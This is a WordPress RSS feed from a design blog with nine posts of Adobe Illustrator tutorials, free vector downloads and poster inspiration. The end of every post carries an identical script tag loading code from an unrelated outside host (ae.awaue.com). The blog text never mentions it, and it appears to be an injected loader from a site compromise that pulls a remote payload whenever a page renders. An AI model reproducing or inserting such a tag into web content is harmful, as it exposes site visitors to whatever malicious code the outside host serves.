<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DesignBrawl &#187; adobe</title>
	<atom:link href="http://designbrawl.com/tag/adobe/feed/" rel="self" type="application/rss+xml" />
	<link>http://designbrawl.com</link>
	<description></description>
	<lastBuildDate>Mon, 24 May 2010 16:46:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vector Building in Orange by Andrei Marius</title>
		<link>http://designbrawl.com/vector-building-in-orange-by-andrei-marius/</link>
		<comments>http://designbrawl.com/vector-building-in-orange-by-andrei-marius/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 22:08:51 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[poster]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=250</guid>
		<description><![CDATA[Having spent about 5 years drawing homes &#38; buildings in Illustrator in Los Angeles, I&#8217;m always excited to find someone doing it in an interesting way. I really like the orange treatment Andrei Marius gave this illustration over on VectorTuts. It reminded me of a poster I started working on a few months ago but [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-251" title="orange Building" src="http://designbrawl.com/wp-content/uploads/2010/04/final.jpg" alt="" width="560" height="700" />Having spent about 5 years drawing homes &amp; buildings in Illustrator in Los Angeles, I&#8217;m always excited to find someone doing it in an interesting way. I really like the orange treatment Andrei Marius gave this illustration over on <a title="Vector Tuts" href="http://vector.tutsplus.com/tutorials/illustration/create-a-realistic-vector-building-illustration/" target="_self">VectorTuts</a>.</p>
<p>It reminded me of a poster I started working on a few months ago but keep deciding that I don&#8217;t like. I&#8217;ve included a snippet of that after the break. Surely with a buildup like that, how can you resist?</p>
<p><span id="more-250"></span><img class="aligncenter size-full wp-image-252" title="VB" src="http://designbrawl.com/wp-content/uploads/2010/04/savevb.jpg" alt="" width="560" height="378" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/vector-building-in-orange-by-andrei-marius/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Illustrator: Fading Out Shadows</title>
		<link>http://designbrawl.com/fading-out-shadows/</link>
		<comments>http://designbrawl.com/fading-out-shadows/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 22:00:51 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[illustrator]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=70</guid>
		<description><![CDATA[Here&#8217;s a quick tutorial where I run through using the opacity mask in Illustrator to create transparent shadows that fade out to nothing. I can remember when I first started drawing in Illustrator it took longer than I care to admit before I realized that a gradient didn&#8217;t have to have two colors (ok, it [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/3SgOuKygq1U&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/3SgOuKygq1U&amp;hl=en&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Here&#8217;s a quick tutorial where I run through using the opacity mask in Illustrator to create transparent shadows that fade out to nothing. I can remember when I first started drawing in Illustrator it took longer than I care to admit before I realized that a gradient didn&#8217;t have to have two colors (ok, it does but it doesn&#8217;t have to <em>appear</em> that way).<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/fading-out-shadows/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Orange Chair</title>
		<link>http://designbrawl.com/the-orange-chair/</link>
		<comments>http://designbrawl.com/the-orange-chair/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 17:56:10 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Freebie]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[illustrator]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=52</guid>
		<description><![CDATA[I&#8217;m not sure what I was planning to do with this drawing. I&#8217;m pretty sure I was just drawing it for a screencast that I ended up not using. Anyway, I&#8217;m giving away the .ai file in the hopes that somebody has a use for it. Here&#8217;s a link to the .ai file.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m not sure what I was planning to do with this drawing. I&#8217;m pretty sure I was just drawing it for a screencast that I ended up not using. Anyway, I&#8217;m giving away the .ai file in the hopes that somebody has a use for it.</p>
<p><img class="aligncenter size-full wp-image-53" title="orangechair" src="http://designbrawl.com/wp-content/uploads/2009/10/orangechair.jpg" alt="orangechair" width="550" height="411" /><a href="http://www.designbrawl.com/freebies/orange_chair.zip">Here&#8217;s a link to the .ai file.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/the-orange-chair/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick Color Matching in Illustrator</title>
		<link>http://designbrawl.com/quick-color-matching-in-illustrator/</link>
		<comments>http://designbrawl.com/quick-color-matching-in-illustrator/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 22:21:19 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[blend]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=39</guid>
		<description><![CDATA[Here&#8217;s a really quick way to match a color to an external source (like a paint chip). I used to have to do this a lot when I was doing architectural renderings that were then printed to a large-format Epson 9600.]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a really quick way to match a color to an external source (like a paint chip). I used to have to do this a lot when I was doing architectural renderings that were then printed to a large-format Epson 9600.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/qoafhjNwTho&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/qoafhjNwTho&amp;hl=en&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/quick-color-matching-in-illustrator/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Striped Dress Vector</title>
		<link>http://designbrawl.com/striped-dress-vector/</link>
		<comments>http://designbrawl.com/striped-dress-vector/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 14:23:33 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Freebie]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[illustrator]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=33</guid>
		<description><![CDATA[Here&#8217;s an illustration done in Adobe Illustrator that I ended up not being able to use. All of the texture and ruffles are done using the stripes, not with a gradient mesh. You can download the .ai file here. Enjoy.]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s an illustration done in Adobe Illustrator that I ended up not being able to use. All of the texture and ruffles are done using the stripes, not with a gradient mesh.</p>
<p><img class="aligncenter size-full wp-image-34" title="striped-dress" src="http://designbrawl.com/wp-content/uploads/2009/09/striped-dress.jpg" alt="striped-dress" width="400" height="532" /></p>
<p><a title="Striped Dress Download" href="http://www.designbrawl.com/freebies/striped_dress.zip">You can download the .ai file here. Enjoy.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/striped-dress-vector/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Draw Fluffy Clouds in Adobe Illustrator</title>
		<link>http://designbrawl.com/draw-fluffy-clouds-in-adobe-illustrator/</link>
		<comments>http://designbrawl.com/draw-fluffy-clouds-in-adobe-illustrator/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 14:01:09 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=30</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/L21y9o5wsTg&#038;hl=en&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/L21y9o5wsTg&#038;hl=en&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/draw-fluffy-clouds-in-adobe-illustrator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tyler Stout&#8217;s Inglourious Basterds Poster</title>
		<link>http://designbrawl.com/tyler-stouts-inglourious-basterds-poster/</link>
		<comments>http://designbrawl.com/tyler-stouts-inglourious-basterds-poster/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 02:43:42 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[poster]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=22</guid>
		<description><![CDATA[Tyler Stout consistently does amazing work. Here&#8217;s a poster for Tarantino&#8217;s Inglourious Basterds that I can&#8217;t get enough of.]]></description>
			<content:encoded><![CDATA[<p><a title="Tyler Stout" href="http://www.tstout.com/welcome" target="_blank">Tyler Stout consistently does amazing work. Here&#8217;s a poster for Tarantino&#8217;s Inglourious Basterds that I can&#8217;t get enough of.</a></p>
<p><img class="aligncenter size-full wp-image-28" title="zz60afccd7-550x823" src="http://designbrawl.com/wp-content/uploads/2009/09/zz60afccd7-550x823.jpg" alt="zz60afccd7-550x823" width="550" height="823" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/tyler-stouts-inglourious-basterds-poster/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quick Highlights in Illustrator</title>
		<link>http://designbrawl.com/quick-highlights-in-illustrator/</link>
		<comments>http://designbrawl.com/quick-highlights-in-illustrator/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 13:56:13 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[pathfinder]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=24</guid>
		<description><![CDATA[Here&#8217;s a quick tutorial using the Dunks that I gave away in an earlier post. It shows how to create complex highlights using the pathfinder tool. If you wanted to, sharp shadows can be done the same way.]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a quick tutorial using the <a title="Nike Dunks" href="http://designbrawl.com/nike-dunks/" target="_self">Dunks</a> that I gave away in an earlier post. It shows how to create complex highlights using the pathfinder tool. If you wanted to, sharp shadows can be done the same way.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/Xda8tmcHbKY&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/Xda8tmcHbKY&amp;hl=en&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/quick-highlights-in-illustrator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nike Dunks</title>
		<link>http://designbrawl.com/nike-dunks/</link>
		<comments>http://designbrawl.com/nike-dunks/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 18:45:19 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Freebie]]></category>
		<category><![CDATA[Illustration]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[nike]]></category>
		<category><![CDATA[sneakers]]></category>

		<guid isPermaLink="false">http://designbrawl.com/?p=18</guid>
		<description><![CDATA[Here&#8217;s an illustration of some Nike Dunks that I did in Adobe Illustrator a while ago. The point of the drawing was to see how realistic I could make them without using the gradient mesh. Since this one wasn&#8217;t used commercially, I&#8217;m giving it away as a free EPS file. You can download it here.]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s an illustration of some Nike Dunks that I did in Adobe Illustrator a while ago. The point of the drawing was to see how realistic I could make them without using the gradient mesh.</p>
<p><img class="aligncenter size-full wp-image-19" title="dunks_preview" src="http://designbrawl.com/wp-content/uploads/2009/09/dunks_preview.jpg" alt="dunks_preview" width="560" height="433" /></p>
<p>Since this one wasn&#8217;t used commercially, I&#8217;m giving it away as a free EPS file. <a href="http://www.designbrawl.com/freebies/dunks.eps">You can download it here.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://designbrawl.com/nike-dunks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
